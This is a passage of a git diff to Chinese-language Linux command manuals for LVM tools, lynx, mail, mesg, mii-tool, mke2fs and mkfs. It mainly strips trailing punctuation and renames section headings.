[旧卷组路径|旧卷组名称|旧卷组UUID] [新卷组路 ### 例子 -重命名卷组/dev/vg1为/dev/vg2。 +重命名卷组/dev/vg1为/dev/vg2 ```bash [root@localhost ~]# vgrename /dev/vg1 /dev/vg2 Volume group "vg1" successfullyrenamed to "vg2" ``` -重命名卷组vg1为vg2。 +重命名卷组vg1为vg2 ```bash [root@localhost ~]# vgrename vg1 vg2 Volume group "vg1" successfully renamed to "vg2" ``` -**vgchange命令** 用于修改卷组的属性,经常被用来设置卷组是处于活动状态或非活动状态。处于活动状态的卷组无法被删除,必须使用vgchange命令将卷组设置为非活动状态后才能删除。 +**vgchange命令** 用于修改卷组的属性,经常被用来设置卷组是处于活动状态或非活动状态。处于活动状态的卷组无法被删除,必须使用vgchange命令将卷组设置为非活动状态后才能删除 -### 语法 +## 选项 ``` vgchange(选项)(参数) @@ -484,14 +484,14 @@ vgchange(选项)(参数) ``` --a:设置卷组的活动状态。 +-a:设置卷组的活动状态 ``` ### 参数 -卷组:指定要设置属性的卷组。 +卷组:指定要设置属性的卷组 -### 实例 +## 实例 使用vgchange命令将卷组状态改为活动的。在命令行中输入下面的命令: @@ -505,9 +505,9 @@ vgchange(选项)(参数) 1 logical volume(s) in volume group "vg1000" now active ``` -**vgremove命令** 用于用户删除LVM卷组。当要删除的卷组上已经创建了逻辑卷时,vgremove命令需要进行确认删除,防止误删除数据。 +**vgremove命令** 用于用户删除LVM卷组。当要删除的卷组上已经创建了逻辑卷时,vgremove命令需要进行确认删除,防止误删除数据 -### 语法 +## 选项 ``` vgremove(选项)(参数) @@ -516,14 +516,14 @@ vgremove(选项)(参数) ``` --f:强制删除。 +-f:强制删除 ``` ### 参数 -卷组:指定要删除的卷组名称。 +卷组:指定要删除的卷组名称 -### 实例 +## 实例 使用vgremove命令删除LVM卷组"vg1000"。在命令行中输入下面的命令: @@ -532,9 +532,9 @@ vgremove(选项)(参数) Volume group "vg1000" successfully removed ``` -**vgconvert命令** 用于转换指定LVM卷组的元数据格式,通常将“LVM1”格式的卷组转换为“LVM2”格式。转换卷组元数据前必须保证卷组处于非活动状态,否则无法完成转换操作。 +**vgconvert命令** 用于转换指定LVM卷组的元数据格式,通常将“LVM1”格式的卷组转换为“LVM2”格式。转换卷组元数据前必须保证卷组处于非活动状态,否则无法完成转换操作 -### 语法 +## 选项 ``` vgconvert(选项)(参数) @@ -543,14 +543,14 @@ vgconvert(选项)(参数) ``` --M:要转换的卷组格式。 +-M:要转换的卷组格式 ``` ### 参数 -卷组:指定要转换格式的卷组。 +卷组:指定要转换格式的卷组 -### 实例 +## 实例 转换卷组元数据格式前,使用vgchange命令将卷组设置为非活动状态。在命令行中输入下面的命令: @@ -574,9 +574,9 @@ Volume group vg1000 successfully converted 0 logical volume(s) in volume group "vg1000" now active ``` -**vgextend命令** 用于动态扩展LVM卷组,它通过向卷组中添加物理卷来增加卷组的容量。LVM卷组中的物理卷可以在使用vgcreate命令创建卷组时添加,也可以使用vgextend命令动态的添加。 +**vgextend命令** 用于动态扩展LVM卷组,它通过向卷组中添加物理卷来增加卷组的容量。LVM卷组中的物理卷可以在使用vgcreate命令创建卷组时添加,也可以使用vgextend命令动态的添加 -### 语法 +## 选项 ``` vgextend(选项)(参数) @@ -585,16 +585,16 @@ vgextend(选项)(参数) ``` --d:调试模式; --t:仅测试。 +-d:调试模式 +-t:仅测试 ``` ### 参数 -* 卷组:指定要操作的卷组名称; -* 物理卷列表:指定要添加到卷组中的物理卷列表。 +* 卷组:指定要操作的卷组名称 +* 物理卷列表:指定要添加到卷组中的物理卷列表 -### 实例 +## 实例 使用vgextend命令向卷组"vg2000"中添加物理卷。在命令行中输入下面的命令: @@ -608,9 +608,9 @@ vgextend(选项)(参数) Volume group "vg2000" successfully extended ``` -**vgreduce命令** 通过删除LVM卷组中的物理卷来减少卷组容量。不能删除LVM卷组中剩余的最后一个物理卷。 +**vgreduce命令** 通过删除LVM卷组中的物理卷来减少卷组容量。不能删除LVM卷组中剩余的最后一个物理卷 -### 语法 +## 选项 ``` vgreduce(选项)(参数) @@ -619,16 +619,16 @@ vgreduce(选项)(参数) ``` --a:如果命令行中没有指定要删除的物理卷,则删除所有的空物理卷; ---removemissing:删除卷组中丢失的物理卷,使卷组恢复正常状态。 +-a:如果命令行中没有指定要删除的物理卷,则删除所有的空物理卷 +--removemissing:删除卷组中丢失的物理卷,使卷组恢复正常状态 ``` ### 参数 -* 卷组:指定要操作的卷组名称; -* 物理卷列表:指定要删除的物理卷列表。 +* 卷组:指定要操作的卷组名称 +* 物理卷列表:指定要删除的物理卷列表 -### 实例 +## 实例 使用vgreduce命令从卷组"vg2000"中移除物理卷`/dev/sdb2`。在命令行中输入下面的命令: @@ -641,9 +641,9 @@ vgreduce(选项)(参数) ``` Removed "/dev/sdb2" from volume group "vg2000" ``` -**lvcreate命令** 用于创建LVM的逻辑卷。逻辑卷是创建在卷组之上的。逻辑卷对应的设备文件保存在卷组目录下,例如:在卷组"vg1000"上创建一个逻辑卷"lvol0",则此逻辑卷对应的设备文件为"/dev/vg1000/lvol0"。 +**lvcreate命令** 用于创建LVM的逻辑卷。逻辑卷是创建在卷组之上的。逻辑卷对应的设备文件保存在卷组目录下,例如:在卷组"vg1000"上创建一个逻辑卷"lvol0",则此逻辑卷对应的设备文件为"/dev/vg1000/lvol0" -### 语法 +## 选项 ``` lvcreate(选项)(参数) @@ -652,15 +652,15 @@ lvcreate(选项)(参数) ``` --L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; --l:指定逻辑卷的大小(LE数)。 +-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节 +-l:指定逻辑卷的大小(LE数) ``` ### 参数 -逻辑卷:指定要创建的逻辑卷名称。 +逻辑卷:指定要创建的逻辑卷名称 -### 实例 +## 实例 使用lvcreate命令在卷组"vg1000"上创建一个200MB的逻辑卷。在命令行中输入下面的命令: @@ -674,11 +674,11 @@ lvcreate(选项)(参数) Logical volume "lvol0" created ``` -说明:创建成功后,新的逻辑卷"lvol0",将通过设备文件`/dev/vg1000/lvol0`进行访问。 +说明:创建成功后,新的逻辑卷"lvol0",将通过设备文件`/dev/vg1000/lvol0`进行访问 -**lvscan命令** 用于扫描当前系统中存在的所有的LVM逻辑卷。使用lvscan指令可以发现系统中的所有逻辑卷,及其对应的设备文件。 +**lvscan命令** 用于扫描当前系统中存在的所有的LVM逻辑卷。使用lvscan指令可以发现系统中的所有逻辑卷,及其对应的设备文件 -### 语法 +## 选项 ``` lvscan(选项) @@ -687,10 +687,10 @@ lvscan(选项) ``` --b:显示逻辑卷的主设备和次设备号。 +-b:显示逻辑卷的主设备和次设备号 ``` -### 实例 +## 实例 使用lvscan命令扫描系统中的所有逻辑卷。在命令行中输入下面的命令: @@ -703,9 +703,9 @@ lvscan(选项) ``` ACTIVE '/dev/vg1000/lvol0' [200.00 MB] inherit ``` -**lvdisplay命令** 用于显示LVM逻辑卷空间大小、读写状态和快照信息等属性。如果省略"逻辑卷"参数,则lvdisplay命令显示所有的逻辑卷属性。否则,仅显示指定的逻辑卷属性。 +**lvdisplay命令** 用于显示LVM逻辑卷空间大小、读写状态和快照信息等属性。如果省略"逻辑卷"参数,则lvdisplay命令显示所有的逻辑卷属性。否则,仅显示指定的逻辑卷属性 -### 语法 +## 选项 ``` lvdisplay(参数) @@ -713,9 +713,9 @@ lvdisplay(参数) ### 参数 -逻辑卷:指定要显示属性的逻辑卷对应的设备文件。 +逻辑卷:指定要显示属性的逻辑卷对应的设备文件 -### 实例 +## 实例 使用lvdisplay命令显示指定逻辑卷的属性。在命令行中输入下面的命令: @@ -732,9 +732,9 @@ lvdisplay(参数) Block device 253:0 ``` -**lvextend命令** 用于在线扩展逻辑卷的空间大小,而不中断应用程序对逻辑卷的访问。使用lvextend命令动态在线扩展磁盘空间,整个空间扩展过程对于应用程序来说是完全透明的。 +**lvextend命令** 用于在线扩展逻辑卷的空间大小,而不中断应用程序对逻辑卷的访问。使用lvextend命令动态在线扩展磁盘空间,整个空间扩展过程对于应用程序来说是完全透明的 -### 语法 +## 选项 ``` lvextend(选项)(参数) @@ -743,15 +743,15 @@ lvextend(选项)(参数) ``` --L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; --l:指定逻辑卷的大小(LE数)。 +-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节 +-l:指定逻辑卷的大小(LE数) ``` ### 参数 -逻辑卷:指定要扩展空间的逻辑卷。 +逻辑卷:指定要扩展空间的逻辑卷 -### 实例 +## 实例 使用lvextend命令为逻辑卷`/dev/vg1000/lvol0`增加100M空间。在命令行中输入下面的命令: @@ -765,9 +765,9 @@ lvextend(选项)(参数) Extending logical volume lvol0 to 300.00 MB Logical volume lvol0 successfully resized ``` -**lvresize命令** 用于调整LVM逻辑卷的空间大小,可以增大空间和缩小空间。使用lvresize命令调整逻辑卷空间大小和缩小空间时需要谨慎,因为它有可能导致数据丢失。 +**lvresize命令** 用于调整LVM逻辑卷的空间大小,可以增大空间和缩小空间。使用lvresize命令调整逻辑卷空间大小和缩小空间时需要谨慎,因为它有可能导致数据丢失 -### 语法 +## 选项 ``` lvresize(选项)(参数) @@ -776,15 +776,15 @@ lvresize(选项)(参数) ``` --L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; --l:指定逻辑卷的大小(LE数)。 +-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节 +-l:指定逻辑卷的大小(LE数) ``` ### 参数 -逻辑卷:指定要删除的逻辑卷。 +逻辑卷:指定要删除的逻辑卷 -### 实例 +## 实例 使用lvresize命令调整最大的逻辑卷大小。在命令行中输入下面的命令: @@ -798,9 +798,9 @@ lvresize(选项)(参数) Extending logical volume lvol0 to 280.00 MB Logical volume lvol0 successfully resized ``` -**lvreduce命令** 用于减少LVM逻辑卷占用的空间大小。使用lvreduce命令收缩逻辑卷的空间大小有可能会删除逻辑卷上已有的数据,所以在操作前必须进行确认。 +**lvreduce命令** 用于减少LVM逻辑卷占用的空间大小。使用lvreduce命令收缩逻辑卷的空间大小有可能会删除逻辑卷上已有的数据,所以在操作前必须进行确认 -### 语法 +## 选项 ``` lvreduce(选项)(参数) @@ -809,15 +809,15 @@ lvreduce(选项)(参数) ``` --L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; --l:指定逻辑卷的大小(LE数)。 +-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节 +-l:指定逻辑卷的大小(LE数) ``` ### 参数 -逻辑卷:指定要操作的逻辑卷对应的设备文件。 +逻辑卷:指定要操作的逻辑卷对应的设备文件 -### 实例 +## 实例 使用lvreduce命令减少指定的逻辑卷的空间大小。在命令行中输入下面的命令: @@ -833,9 +833,9 @@ Do you really want to reduce lvol0? [y/n]: y #确认操作 Reducing logical volume lvol0 to 252.00 MB Logical volume lvol0 successfully resized ``` -**lvremove命令** 用于删除指定LVM逻辑卷。如果逻辑卷已经使用mount命令加载,则不能使用lvremove命令删除。必须使用umount命令卸载后,逻辑卷方可被删除。 +**lvremove命令** 用于删除指定LVM逻辑卷。如果逻辑卷已经使用mount命令加载,则不能使用lvremove命令删除。必须使用umount命令卸载后,逻辑卷方可被删除 -### 语法 +## 选项 ``` lvremove(选项)(参数) @@ -844,14 +844,14 @@ lvremove(选项)(参数) ``` --f:强制删除。 +-f:强制删除 ``` ### 参数 -逻辑卷:指定要删除的逻辑卷。 +逻辑卷:指定要删除的逻辑卷 -### 实例 +## 实例 使用lvremove命令删除指定的逻辑卷。在命令行中输入下面的命令: diff --git a/Linux_man_cn/lynx.md b/Linux_man_cn/lynx.md index cd57ce6..bba18db 100644 --- a/Linux_man_cn/lynx.md +++ b/Linux_man_cn/lynx.md @@ -5,9 +5,9 @@ lynx ## 说明 -**lynx命令** 是纯文本模式的网页浏览器,不支持图形、音视频等多媒体信息。 +**lynx命令** 是纯文本模式的网页浏览器,不支持图形、音视频等多媒体信息 -### 语法 +## 选项 ``` lynx(选项)(参数) @@ -16,100 +16,100 @@ lynx(选项)(参数) ``` --case:在搜索字符串时,区分大小写; --ftp:关闭ftp功能; --nobrowse:关闭目录浏览功能; --noclor:关闭色彩显示模式; --reload:更新代理服务器的缓存,只对首页有效; ---color:如果系统支持彩色模式,则激活彩色模式; ---help:显示指令的帮助信息; ---versiom:显示指令的版本信息。 +-case:在搜索字符串时,区分大小写 +-ftp:关闭ftp功能 +-nobrowse:关闭目录浏览功能 +-noclor:关闭色彩显示模式 +-reload:更新代理服务器的缓存,只对首页有效 +--color:如果系统支持彩色模式,则激活彩色模式 +--help:显示指令的帮助信息 +--versiom:显示指令的版本信息 ``` ### 参数 -URL:指定要访问的网站的URL地址。 +URL:指定要访问的网站的URL地址 ## 内部命令 **移动命令** ``` -下方向键:页面上的下一个链接(用高亮度显示)。 -上方向键:页面上的前一个链接(用高亮度显示)。 -回车和右方向键:跳转到链接指向的地址。 -左方向键:回到上一个页面。 +下方向键:页面上的下一个链接(用高亮度显示) +上方向键:页面上的前一个链接(用高亮度显示) +回车和右方向键:跳转到链接指向的地址 +左方向键:回到上一个页面 ``` **滚动命令** ``` -+、Page-Down、Space、Ctrl+f:向下翻页。 --、Page-Up、b、Ctrl+b:向上翻页。 -Ctrl+a:移动到当前页的最前面。 -Ctrl+e:移动到当前页的最后面。 -Ctrl+n:向下翻两行。 -Ctrl+p:往回翻两行。 -):向下翻半页。 -(:往回翻半页。 -#:回到当前页的 Toolbar 或 Banner。 ++、Page-Down、Space、Ctrl+f:向下翻页 +-、Page-Up、b、Ctrl+b:向上翻页 +Ctrl+a:移动到当前页的最前面 +Ctrl+e:移动到当前页的最后面 +Ctrl+n:向下翻两行 +Ctrl+p:往回翻两行 +):向下翻半页 +(:往回翻半页 +#:回到当前页的 Toolbar 或 Banner ``` **文件操作命令** ``` -c:建立一个新文件。 -d:下载选中的文件。 -E:编辑选中的文件。 -f:为当前文件显示一个选项菜单。 -m:修改选中文件的名字或位置。 -r:删除选中的文件。 -t:Tag highlighted file。 -u:上载一个文件到当前目录。 +c:建立一个新文件 +d:下载选中的文件 +E:编辑选中的文件 +f:为当前文件显示一个选项菜单 +m:修改选中文件的名字或位置 +r:删除选中的文件 +t:Tag highlighted file +u:上载一个文件到当前目录 ``` **其他命令** ``` -?、h:帮助。 -a:把当前链接加入到一个书签文件里。 -c:向页面的拥有者发送意见或建议。 -d:下载当前链接。 -e:编辑当前文件。 -g:跳转到一个用户 指定的URL或文件。 -G:编辑当前页的URL,并跳转到这个URL。 -i:显示文档索引。 -j:执行预先定义的“短”命令。 -k:显示键盘命令列表。 -l:列出当前页上所有链接的地址。 -m:回到首页 。 -o:设置选项。 -p:把当前页输出到文件,e-mail,打印机或其他地方。 -q:退出。 -/:在当前页内查找字符串。 -s:在外部搜索输入的字符串。 -n:搜索下一个。 -v:查看一个书签文件。 -V:跳转到访问过的地址。 -x:不使用缓存。 -z:停止当前传输。 -[backspace]:跳转到历史页(同 V 命令)。 -=:显示当前页的信息。 -:查看当前页的源代码。 -!:回到shell提示符下。 -_:清除当前任务的所有授权信息。 -*:图形链接模式的切换开关。 -@:8位传输模式或CJK模式的切换开关。 -[:pseudo_inlines 模式的切换开关。 -]:为当前页或当前链接发送一个“head”请求。 -Ctrl+r:重新装如当前页并且刷新屏幕。 -Ctrl+w:刷新屏幕。 -Ctrl+u:删除输入的行。 -Ctrl+g:取消输入或者传送。 -Ctrl+t:跟踪模式的切换开关。 -;:看Lynx对当前任务的跟踪记录。 -Ctrl+k:调用 Cookie Jar 页。 -数字键:到后面的第 n 个链接。 +?、h:帮助 +a:把当前链接加入到一个书签文件里 +c:向页面的拥有者发送意见或建议 +d:下载当前链接 +e:编辑当前文件 +g:跳转到一个用户 指定的URL或文件 +G:编辑当前页的URL,并跳转到这个URL +i:显示文档索引 +j:执行预先定义的“短”命令 +k:显示键盘命令列表 +l:列出当前页上所有链接的地址 +m:回到首页 +o:设置选项 +p:把当前页输出到文件,e-mail,打印机或其他地方 +q:退出 +/:在当前页内查找字符串 +s:在外部搜索输入的字符串 +n:搜索下一个 +v:查看一个书签文件 +V:跳转到访问过的地址 +x:不使用缓存 +z:停止当前传输 +[backspace]:跳转到历史页(同 V 命令) +=:显示当前页的信息 +:查看当前页的源代码 +!:回到shell提示符下 +_:清除当前任务的所有授权信息 +*:图形链接模式的切换开关 +@:8位传输模式或CJK模式的切换开关 +[:pseudo_inlines 模式的切换开关 +]:为当前页或当前链接发送一个“head”请求 +Ctrl+r:重新装如当前页并且刷新屏幕 +Ctrl+w:刷新屏幕 +Ctrl+u:删除输入的行 +Ctrl+g:取消输入或者传送 +Ctrl+t:跟踪模式的切换开关 +;:看Lynx对当前任务的跟踪记录 +Ctrl+k:调用 Cookie Jar 页 +数字键:到后面的第 n 个链接 ``` diff --git a/Linux_man_cn/mail.md b/Linux_man_cn/mail.md index bc8804f..a6a728a 100644 --- a/Linux_man_cn/mail.md +++ b/Linux_man_cn/mail.md @@ -5,9 +5,9 @@ mail ## 说明 -**mail命令** 是命令行的电子邮件发送和接收工具。操作的界面不像elm或pine那么容易使用,但功能非常完整。 +**mail命令** 是命令行的电子邮件发送和接收工具。操作的界面不像elm或pine那么容易使用,但功能非常完整 -### 语法 +## 选项 ``` mail(选项)(参数) @@ -16,23 +16,23 @@ mail(选项)(参数) ``` --b<地址>:指定密件副本的收信人地址; --c<地址>:指定副本的收信人地址; --f<邮件文件>:读取指定邮件文件中的邮件; --i:不显示终端发出的信息; --I:使用互动模式; --n:程序使用时,不使用mail.rc文件中的设置; --N:阅读邮件时,不显示邮件的标题; --s<邮件主题>:指定邮件的主题; --u<用户帐号>:读取指定用户的邮件; --v:执行时,显示详细的信息。 +-b<地址>:指定密件副本的收信人地址 +-c<地址>:指定副本的收信人地址 +-f<邮件文件>:读取指定邮件文件中的邮件 +-i:不显示终端发出的信息 +-I:使用互动模式 +-n:程序使用时,不使用mail.rc文件中的设置 +-N:阅读邮件时,不显示邮件的标题 +-s<邮件主题>:指定邮件的主题 +-u<用户帐号>:读取指定用户的邮件 +-v:执行时,显示详细的信息 ``` ### 参数 -邮件地址:收信人的电子邮箱地址。 +邮件地址:收信人的电子邮箱地址 -### 实例 +## 实例 **直接使用shell当编辑器** @@ -42,7 +42,7 @@ hello,this is the content of mail. welcome to www.jsdig.com ``` -第一行是输入的命令,`-s`表示邮件的主题,后面的`admin@jsdig.com`则是邮件的接收人,输入完这行命令后回车,会进入邮件正文的编写,我们可以输入任何文字,比如上面的两行。当邮件正文输入完成后,需要按 **CTRL+D** 结束输入,此时会提示你输入Cc地址,即邮件抄送地址,没有直接回车就完成了邮件的发送。 +第一行是输入的命令,`-s`表示邮件的主题,后面的`admin@jsdig.com`则是邮件的接收人,输入完这行命令后回车,会进入邮件正文的编写,我们可以输入任何文字,比如上面的两行。当邮件正文输入完成后,需要按 **CTRL+D** 结束输入,此时会提示你输入Cc地址,即邮件抄送地址,没有直接回车就完成了邮件的发送 **使用管道进行邮件发送** @@ -50,7 +50,7 @@ welcome to www.jsdig.com echo "hello,this is the content of mail.welcome to www.jsdig.com" | mail -s "Hello from jsdig.com by pipe" admin@jsdig.com ``` -使用管道直接敲入这行命令即可完成邮件的发送,其中echo后的是邮件正文。 +使用管道直接敲入这行命令即可完成邮件的发送,其中echo后的是邮件正文 **使用文件进行邮件发送** @@ -58,9 +58,9 @@ echo "hello,this is the content of mail.welcome to www.jsdig.com" | mail -s "Hel mail -s "Hello from jsdig.com by file" admin@jsdig.com < mail.txt ``` -使用上面的命令后,我们就可以把mail.txt文件的内容作为邮件的内容发送给admin@jsdig.com了。 +使用上面的命令后,我们就可以把mail.txt文件的内容作为邮件的内容发送给admin@jsdig.com了 -使用上述三种方式都可以给外部邮箱进行邮件发送,但因为前面2中都是直接在shell中敲入邮件内容,因此无法输入中文,即使我们使用粘贴的方式输入了中文,那么收到的邮件也是乱码的。但第3种方式,我们可以在window下编辑好邮件内容后,放到linux下,再进行发送,这样就可以正常发送中文了。不过目前邮件的中文标题暂时没有找到解决办法。 +使用上述三种方式都可以给外部邮箱进行邮件发送,但因为前面2中都是直接在shell中敲入邮件内容,因此无法输入中文,即使我们使用粘贴的方式输入了中文,那么收到的邮件也是乱码的。但第3种方式,我们可以在window下编辑好邮件内容后,放到linux下,再进行发送,这样就可以正常发送中文了。不过目前邮件的中文标题暂时没有找到解决办法 因为mail程序本身就是调用sendmail来进行邮件发送的,因此我们可以在mail命令中使用sendmail的参数进行配置,比如我想使用特定的发件人发送邮件,可以使用如下命令: @@ -68,7 +68,7 @@ mail -s "Hello from jsdig.com by file" admin@jsdig.com < mail.txt mail -s "Hello from jsdig.com with sender" admin@jsdig.com -- -f user@jsdig.com man.pdf # 生成一个PDF格式的帮助文件 diff --git a/Linux_man_cn/md5sum.md b/Linux_man_cn/md5sum.md index 0c45cf1..d5f37c2 100644 --- a/Linux_man_cn/md5sum.md +++ b/Linux_man_cn/md5sum.md @@ -10,7 +10,7 @@ MD5算法常常被用来验证网络文件传输的完整性,防止文件被 ## 选项 ```markdown -若没有文件选项,或者文件处为"-",则从标准输入读取。 +若没有文件选项,或者文件处为"-",则从标准输入读取 -b, --binary 以二进制模式读取 -c, --check 从文件中读取MD5 的校验值并予以检查 diff --git a/Linux_man_cn/mesg.md b/Linux_man_cn/mesg.md index ccfc4ba..4af6283 100644 --- a/Linux_man_cn/mesg.md +++ b/Linux_man_cn/mesg.md @@ -5,9 +5,9 @@ mesg ## 说明 -**mesg命令** 用于设置当前终端的写权限,即是否让其他用户向本终端发信息。将mesg设置y时,其他用户可利用write命令将信息直接显示在您的屏幕上。 +**mesg命令** 用于设置当前终端的写权限,即是否让其他用户向本终端发信息。将mesg设置y时,其他用户可利用write命令将信息直接显示在您的屏幕上 -### 语法 +## 选项 ``` mesg(参数) @@ -15,13 +15,13 @@ mesg(参数) ### 参数 -y/n:y表示运行向当前终端写信息,n表示禁止向当前终端写信息。 +y/n:y表示运行向当前终端写信息,n表示禁止向当前终端写信息 -### 实例 +## 实例 ``` -[root@localhost ~]# mesg y #允许系统用户将信息直接显示在你的屏幕上。 -[root@localhost ~]# mesg n #不允许系统用户将信息直接显示在你的屏幕上。 +[root@localhost ~]# mesg y #允许系统用户将信息直接显示在你的屏幕上 +[root@localhost ~]# mesg n #不允许系统用户将信息直接显示在你的屏幕上 ``` diff --git a/Linux_man_cn/mii-tool.md b/Linux_man_cn/mii-tool.md index ff36066..fd0cdcd 100644 --- a/Linux_man_cn/mii-tool.md +++ b/Linux_man_cn/mii-tool.md @@ -5,9 +5,9 @@ mii-tool ## 说明 -**mii-tool命令** 是用于查看、管理介质的网络接口的状态,有时网卡需要配置协商方式,比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商,因为大多数网络设置接入的时候,都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的,有时也会出现错误,比如丢包率比较高,这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法。 +**mii-tool命令** 是用于查看、管理介质的网络接口的状态,有时网卡需要配置协商方式,比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商,因为大多数网络设置接入的时候,都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的,有时也会出现错误,比如丢包率比较高,这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法 -### 语法 +## 选项 ``` usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...] @@ -16,20 +16,20 @@ usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...] ``` --V 显示版本信息; --v 显示网络接口的信息; --R 重设MII到开启状态; --r 重启自动协商模式; --w 查看网络接口连接的状态变化; --l 写入事件到系统日志; --A 指令特定的网络接口; --F 更改网络接口协商方式; +-V 显示版本信息 +-v 显示网络接口的信息 +-R 重设MII到开启状态 +-r 重启自动协商模式 +-w 查看网络接口连接的状态变化 +-l 写入事件到系统日志 +-A 指令特定的网络接口 +-F 更改网络接口协商方式 media: 100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD,         (to advertise both HD and FD) 100baseTx, 10baseT ``` -### 实例 +## 实例 查看网络接口的协商状态: @@ -44,11 +44,11 @@ eth0: negotiated 100baseTx-FD, link ok   link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD ``` -注:上面的例子,我们可以看得到是自动协商,注意红字的部份。 +注:上面的例子,我们可以看得到是自动协商,注意红字的部份 更改网络接口协商方式: -更改网络接口的协商方式,我们要用到`-F`选项,后面可以接100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD等参数; +更改网络接口的协商方式,我们要用到`-F`选项,后面可以接100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD等参数 如果我们想把网络接口eth0改为1000Mb/s全双工的模式应该怎么办呢? diff --git a/Linux_man_cn/mkbootdisk.md b/Linux_man_cn/mkbootdisk.md index 772c375..b9978b0 100644 --- a/Linux_man_cn/mkbootdisk.md +++ b/Linux_man_cn/mkbootdisk.md @@ -5,9 +5,9 @@ mkbootdisk ## 说明 -**mkbootdisk命令** 用来为当前运行的系统创建能够单独使用的系统引导软盘,以便在系统出现故障时能够启动操作进行适当的修复工作。 +**mkbootdisk命令** 用来为当前运行的系统创建能够单独使用的系统引导软盘,以便在系统出现故障时能够启动操作进行适当的修复工作 -### 语法 +## 选项 ``` mkbootdisk(选项)(参数) @@ -16,18 +16,18 @@ mkbootdisk(选项)(参数) ``` ---device<设备>:指定设备; ---mkinitrdargs<参数>:设置mkinitrd的参数; ---noprompt:不会提示用户插入磁盘; ---verbose:执行时显示详细的信息; ---version:显示版本信息。 +--device<设备>:指定设备 +--mkinitrdargs<参数>:设置mkinitrd的参数 +--noprompt:不会提示用户插入磁盘 +--verbose:执行时显示详细的信息 +--version:显示版本信息 ``` ### 参数 -内核:指定内核版本。 +内核:指定内核版本 -### 实例 +## 实例 ``` mkbootdisk --device /dev/fd0 `uname -r` diff --git a/Linux_man_cn/mke2fs.md b/Linux_man_cn/mke2fs.md index 924ec4e..ed1ab6b 100644 --- a/Linux_man_cn/mke2fs.md +++ b/Linux_man_cn/mke2fs.md @@ -5,9 +5,9 @@ mke2fs ## 说明 -**mke2fs命令** 被用于创建磁盘分区上的“etc2/etc3”文件系统。 +**mke2fs命令** 被用于创建磁盘分区上的“etc2/etc3”文件系统 -### 语法 +## 选项 ``` mke2fs(选项)(参数) @@ -16,32 +16,32 @@ mke2fs(选项)(参数) ``` --b<区块大小>:指定区块大小,单位为字节; --c;检查是否有损坏的区块; --f<不连续区段大小>:指定不连续区段的大小,单位为字节; --F:不管指定的设备为何,强制执行mke2fs; --i<字节>:指定"字节/inode"的比例; --N:指定要建立的inode数目; --l<文件>:从指定的文件中,读取文件西中损坏区块的信息; --L<标签>:设置文件系统的标签名称; --m<百分比值>:指定给管理员保留区块的比例,预设为5%; --M:记录最后一次挂入的目录; --q:执行时不显示任何信息; --r:指定要建立的ext2文件系统版本; --R=<区块数>:设置磁盘阵列参数; --S:仅写入superblock与group descriptors,而不更改inode able inode bitmap以及block bitmap; --v:执行时显示详细信息; --V:显示版本信息。 +-b<区块大小>:指定区块大小,单位为字节 +-c;检查是否有损坏的区块 +-f<不连续区段大小>:指定不连续区段的大小,单位为字节 +-F:不管指定的设备为何,强制执行mke2fs +-i<字节>:指定"字节/inode"的比例 +-N:指定要建立的inode数目 +-l<文件>:从指定的文件中,读取文件西中损坏区块的信息 +-L<标签>:设置文件系统的标签名称 +-m<百分比值>:指定给管理员保留区块的比例,预设为5% +-M:记录最后一次挂入的目录 +-q:执行时不显示任何信息 +-r:指定要建立的ext2文件系统版本 +-R=<区块数>:设置磁盘阵列参数 +-S:仅写入superblock与group descriptors,而不更改inode able inode bitmap以及block bitmap +-v:执行时显示详细信息 +-V:显示版本信息 ``` ### 参数 -* 设备文件:指定要创建的文件系统的分区设备文件名; -* 块数:指定要创建的文件系统的磁盘块数量。 +* 设备文件:指定要创建的文件系统的分区设备文件名 +* 块数:指定要创建的文件系统的磁盘块数量 -### 实例 +## 实例 -创建指定的ext2文件系统。 +创建指定的ext2文件系统 ``` mke2fs -q /dev/hda1 diff --git a/Linux_man_cn/mkfs.md b/Linux_man_cn/mkfs.md index 1a95627..2a159ae 100644 --- a/Linux_man_cn/mkfs.md +++ b/Linux_man_cn/mkfs.md @@ -5,9 +5,9 @@ mkfs ## 说明 -**mkfs命令** 用于在设备上(通常为硬盘)创建Linux文件系统。mkfs本身并不执行建立文件系统的工作,而是去调用相关的程序来执行。 +**mkfs命令** 用于在设备上(通常为硬盘)创建Linux文件系统。mkfs本身并不执行建立文件系统的工作,而是去调用相关的程序来执行 -### 语法 +## 选项 ``` mkfs(选项)(参数) @@ -16,19 +16,19 @@ mkfs(选项)(参数) ``` -fs:指定建立文件系统时的参数; --t<文件系统类型>:指定要建立何种文件系统; --v:显示版本信息与详细的使用方法; --V:显示简要的使用方法; --c:在制做档案系统前,检查该partition是否有坏轨。 +fs:指定建立文件系统时的参数 +-t<文件系统类型>:指定要建立何种文件系统 +-v:显示版本信息与详细的使用方法 +-V:显示简要的使用方法 +-c:在制做档案系统前,检查该partition是否有坏轨 ``` ### 参数 -* 文件系统:指定要创建的文件系统对应的设备文件名; -* 块数:指定文件系统的磁盘块数。 +* 文件系统:指定要创建的文件系统对应的设备文件名 +* 块数:指定文件系统的磁盘块数 -### 实例 +## 实例 在`/dev/hda5`上建一个msdos的档案系统,同时检查是否有坏轨存在,并且将过程详细列出来: diff --git a/Linux_man_cn/mkinitrd.md b/Linux_man_cn/mkinitrd.md index 9d33039..1cb2db6 100644 --- 